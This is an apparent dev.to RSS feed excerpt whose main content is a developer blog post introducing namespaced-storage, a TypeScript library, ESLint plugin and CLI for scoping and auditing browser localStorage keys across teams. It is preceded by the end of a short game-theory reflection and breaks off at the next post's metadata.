&lt;p&gt;The more I read about Game Theory, the less I felt like it was telling me:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Here's the right decision."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead, it helped me ask better questions.&lt;/p&gt;

&lt;p&gt;Who are the players?&lt;/p&gt;

&lt;p&gt;What are their incentives?&lt;/p&gt;

&lt;p&gt;Who knows what?&lt;/p&gt;

&lt;p&gt;Is this a one-shot interaction, or are we going to play again?&lt;/p&gt;

&lt;p&gt;If I make this move, how might it change the behavior of the other players?&lt;/p&gt;

&lt;p&gt;Are we confusing a local optimum with the best outcome for the whole system?&lt;/p&gt;

&lt;p&gt;And perhaps most importantly:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What kind of game are we creating for the next round?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maybe Game Theory won't tell us what the best decision is.&lt;/p&gt;

&lt;p&gt;But it reminds us of something important:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Many decisions can't be optimized in isolation.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because we're almost never playing alone.&lt;/p&gt;

&lt;p&gt;Our decisions change other people's behavior.&lt;/p&gt;

&lt;p&gt;Their behavior changes our next decision.&lt;/p&gt;

&lt;p&gt;And something that looks completely rational today might create a repeated game that none of the players actually wanted.&lt;/p&gt;

&lt;p&gt;So these days, alongside:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What's the best decision for me?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I try to ask one more question:&lt;/p&gt;

&lt;h1&gt;
  
  
  "What kind of game does this decision create between me and everyone else?"
&lt;/h1&gt;

</description>
      <category>game</category>
      <category>dev</category>
      <category>decision</category>
    </item>
    <item>
      <title>Browser Storage Doesn't Scale with Your Team. So I Built namespaced-storage</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Thu, 24 Sep 2026 15:01:39 +0000</pubDate>
      <link>https://dev.to/leopold2/browser-storage-doesnt-scale-with-your-team-so-i-built-namespaced-storage-37jm</link>
      <guid>https://dev.to/leopold2/browser-storage-doesnt-scale-with-your-team-so-i-built-namespaced-storage-37jm</guid>
      <description>&lt;p&gt;A few lines of localStorage usually look harmless.&lt;/p&gt;

&lt;p&gt;A feature remembers a filter. Authentication keeps a token. The basket survives a refresh.&lt;/p&gt;

&lt;p&gt;Each decision makes sense in isolation. But in a large frontend codebase, owned by multiple teams, all of those features write into the same global namespace.&lt;/p&gt;

&lt;p&gt;That is where a small browser API becomes an architectural problem.&lt;/p&gt;

&lt;p&gt;Working on a large-scale product at Snappfood, I have seen how quickly storage decisions spread across a codebase. Different teams move at different speeds. Features have different lifetimes. Engineers join, leave, and refactor. A key written today may still exist in a user's browser months later.&lt;/p&gt;

&lt;p&gt;JavaScript gives us several ways to persist data, but the raw APIs provide very few boundaries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keys are global to the origin&lt;/li&gt;
&lt;li&gt;Values are strings&lt;/li&gt;
&lt;li&gt;Ownership is invisible&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;clear()&lt;/code&gt; affects everyone&lt;/li&gt;
&lt;li&gt;TypeScript cannot protect data after it crosses the storage boundary&lt;/li&gt;
&lt;li&gt;Nobody can easily answer what the application stores&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These problems do not always fail during development.&lt;/p&gt;

&lt;p&gt;Sometimes they reach production.&lt;/p&gt;

&lt;p&gt;That is why I built &lt;a href="https://www.npmjs.com/package/namespaced-storage" rel="noopener noreferrer"&gt;namespaced-storage&lt;/a&gt;, together with an &lt;a href="https://www.npmjs.com/package/eslint-plugin-namespaced-storage" rel="noopener noreferrer"&gt;ESLint plugin&lt;/a&gt; and a &lt;a href="https://www.npmjs.com/package/@shayan-mirzaie/cli" rel="noopener noreferrer"&gt;CLI&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The goal is not to replace localStorage with a prettier API.&lt;/p&gt;

&lt;p&gt;The goal is to make browser storage explicit, owned, typed, and reviewable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The problem starts with one global namespace
&lt;/h2&gt;

&lt;p&gt;Imagine two teams working on different parts of a food delivery application.&lt;/p&gt;

&lt;p&gt;The checkout team writes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;status&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pending&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Later, the authentication team writes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;status&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;verified&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both changes look correct in their pull requests. Both may pass every test. In the browser, one silently overwrites the other.&lt;/p&gt;

&lt;p&gt;A common response is to add prefixes manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;checkout:status&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pending&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;auth:status&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;verified&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helps, but it is only a naming convention. Every engineer must remember it, spell it correctly, serialize values consistently, and avoid clearing data owned by another feature.&lt;/p&gt;

&lt;p&gt;Conventions that live only in documentation slowly disappear.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In a large codebase, a boundary is useful only when the tools can enforce it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Give every feature an owner
&lt;/h2&gt;

&lt;p&gt;With namespaced-storage, each feature declares its own store:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;namespaced-storage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createLocalStorage&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;namespaced-storage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;basketStorage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createLocalStorage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;basket&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;count&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;count&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 10, not "10"&lt;/span&gt;
&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;      &lt;span class="c1"&gt;// clears basket:* only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser now contains explicit ownership:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;basket:count
basket:items
auth:token
ui:theme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The basket feature can clear its state without removing authentication, UI preferences, or another team's data.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Storage is no longer owned by the application. Each piece of storage is owned by a feature.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I prefer declaring stores next to the feature that owns them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/
  features/
    auth/auth.storage.ts
    basket/basket.storage.ts
  shared/ui/ui.storage.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no central registry that every team has to edit. Ownership remains local, while the tooling can still build a global view.&lt;/p&gt;




&lt;h2&gt;
  
  
  Make keys and values type-safe
&lt;/h2&gt;

&lt;p&gt;Defaults are enough to infer many contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;basketStorage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createLocalStorage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;basket&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;BasketItem&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;count&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// number, not number | undefined&lt;/span&gt;

&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;count&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// valid&lt;/span&gt;
&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;count&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;three&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// TypeScript error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For data that needs runtime validation, the package includes a small schema API and also supports Standard Schema validators such as Zod, Valibot, and ArkType:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createSessionStorage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;namespaced-storage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;authStorage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSessionStorage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;auth&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;authStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;jwt-value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;authStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// compile error and runtime ValidationError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This protects both sides of the boundary:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TypeScript catches incorrect writes during development&lt;/li&gt;
&lt;li&gt;Runtime validation catches invalid persisted data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It also round-trips regular JSON values plus Date, Map, Set, BigInt, RegExp, NaN, and infinity values.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;updatedAt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updatedAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;basketStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;updatedAt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// a real Date instance&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  A library without enforcement becomes optional
&lt;/h2&gt;

&lt;p&gt;In a multi-team repository, architecture can drift one component at a time.&lt;/p&gt;

&lt;p&gt;Someone is fixing an urgent bug. Someone copies an old example. Someone writes directly to window.localStorage because it is faster than finding the abstraction.&lt;/p&gt;

&lt;p&gt;Six months later, the project has two storage systems again.&lt;/p&gt;

&lt;p&gt;So I built &lt;a href="https://www.npmjs.com/package/eslint-plugin-namespaced-storage" rel="noopener noreferrer"&gt;eslint-plugin-namespaced-storage&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--save-dev&lt;/span&gt; eslint-plugin-namespaced-storage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For ESLint 9 flat config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// eslint.config.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;nss&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;eslint-plugin-namespaced-storage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;nss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;configs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;recommended&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The plugin includes four rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;no-direct-storage&lt;/code&gt; prevents raw localStorage and sessionStorage access&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;require-namespace-literal&lt;/code&gt; keeps namespaces statically discoverable&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;no-reserved-key&lt;/code&gt; protects internal metadata&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;storage-file-convention&lt;/code&gt; keeps declarations in &lt;code&gt;*.storage.ts&lt;/code&gt; files in strict mode&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of relying on a code review comment, the feedback appears where the mistake is introduced:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Direct use of 'localStorage' is not allowed.
Create a namespaced store instead:
createLocalStorage('feature').
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rule understands scope. A local variable called localStorage is not confused with the browser global, and adapter files can be explicitly allowed when raw access is intentional.&lt;/p&gt;

&lt;p&gt;Good guardrails should be precise enough that teams do not need to disable them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Can we answer what the application stores?
&lt;/h2&gt;

&lt;p&gt;Even with type-safe stores and lint rules, an engineering team still needs visibility.&lt;/p&gt;

&lt;p&gt;In a large repository, I want to ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which namespaces exist?&lt;/li&gt;
&lt;li&gt;Which team owns each one?&lt;/li&gt;
&lt;li&gt;Is the data local or session-scoped?&lt;/li&gt;
&lt;li&gt;Which keys are stored?&lt;/li&gt;
&lt;li&gt;Did two packages declare the same namespace?&lt;/li&gt;
&lt;li&gt;Did a pull request change the persistence surface?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is what &lt;a href="https://www.npmjs.com/package/@shayan-mirzaie/cli" rel="noopener noreferrer"&gt;@shayan-mirzaie/cli&lt;/a&gt; provides.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--save-dev&lt;/span&gt; @shayan-mirzaie/cli
npx nss scan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;namespaced-storage · 3 namespaces across 3 files

auth    session  team-identity  src/features/auth/auth.storage.ts
basket  local    team-checkout  src/features/basket/basket.storage.ts
ui      local    team-platform  src/shared/ui/ui.storage.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The CLI reads the source without running the application. It can scan a repository that does not compile, requires no module resolution, and detects duplicate namespaces across packages in a monorepo.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✖ duplicate namespace "cart" on localStorage
  src/features/basket/basket.storage.ts
  src/legacy/cart/store.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It exits with code 1, so the same check works in CI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx nss scan&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also generate a committed Markdown inventory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx nss docs &lt;span class="nt"&gt;-o&lt;/span&gt; docs/storage.md
git diff &lt;span class="nt"&gt;--exit-code&lt;/span&gt; docs/storage.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now a pull request can show that a feature started persisting a new field, changed ownership, or introduced another namespace.&lt;/p&gt;

&lt;p&gt;Storage becomes reviewable architecture rather than invisible runtime behavior.&lt;/p&gt;




&lt;h2&gt;
  
  
  A practical adoption path
&lt;/h2&gt;

&lt;p&gt;You do not need to migrate an entire codebase at once.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install namespaced-storage.&lt;/li&gt;
&lt;li&gt;Choose one feature with clear ownership.&lt;/li&gt;
&lt;li&gt;Move its reads and writes into a &lt;code&gt;*.storage.ts&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;Add defaults or schemas for its keys.&lt;/li&gt;
&lt;li&gt;Enable the recommended ESLint config.&lt;/li&gt;
&lt;li&gt;Allow legacy access temporarily where migration is incomplete.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;nss scan&lt;/code&gt; in CI.&lt;/li&gt;
&lt;li&gt;Tighten the rules as raw access disappears.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The most valuable first step is not converting every call. It is establishing the ownership model that new code must follow.&lt;/p&gt;




&lt;h2&gt;
  
  
  What this library is not
&lt;/h2&gt;

&lt;p&gt;Namespacing is discipline, not security.&lt;/p&gt;

&lt;p&gt;Any script running on the page can still access browser storage. Sensitive secrets do not become safe because they have a prefix. The package does not replace secure server-side persistence, authorization, or a database.&lt;/p&gt;

&lt;p&gt;It is also not a global state-management library.&lt;/p&gt;

&lt;p&gt;It solves persistence boundaries. React state, server state, URL state, and workflow state still need the right owners.&lt;/p&gt;

&lt;p&gt;The question is not:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How can we put more things in localStorage?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The better question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;When browser persistence is the right choice, how do we keep it from becoming invisible shared state?&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;The project is open source and available now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/namespaced-storage" rel="noopener noreferrer"&gt;namespaced-storage on npm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/eslint-plugin-namespaced-storage" rel="noopener noreferrer"&gt;ESLint plugin on npm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/@shayan-mirzaie/cli" rel="noopener noreferrer"&gt;nss CLI on npm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/shayan1998/namespaced-storage" rel="noopener noreferrer"&gt;Source code and examples on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core package has zero runtime dependencies, ships ESM and CJS builds with TypeScript declarations, and includes examples for vanilla TypeScript, React, and Next.js with SSR.&lt;/p&gt;

&lt;p&gt;If you work on a large frontend codebase, I would love to hear how your team manages browser storage:&lt;/p&gt;

&lt;p&gt;Do you have explicit ownership and tooling around it, or is localStorage still a global namespace held together by conventions?&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>frontend</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Stateful vs. Stateless Frontends: Designing a Food Delivery App One State at a Time</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Wed, 16 Sep 2026 07:50:51 +0000</pubDate>
      <link>https://dev.to/leopold2/stateful-vs-stateless-frontends-designing-a-food-delivery-app-one-state-at-a-time-569n</link>
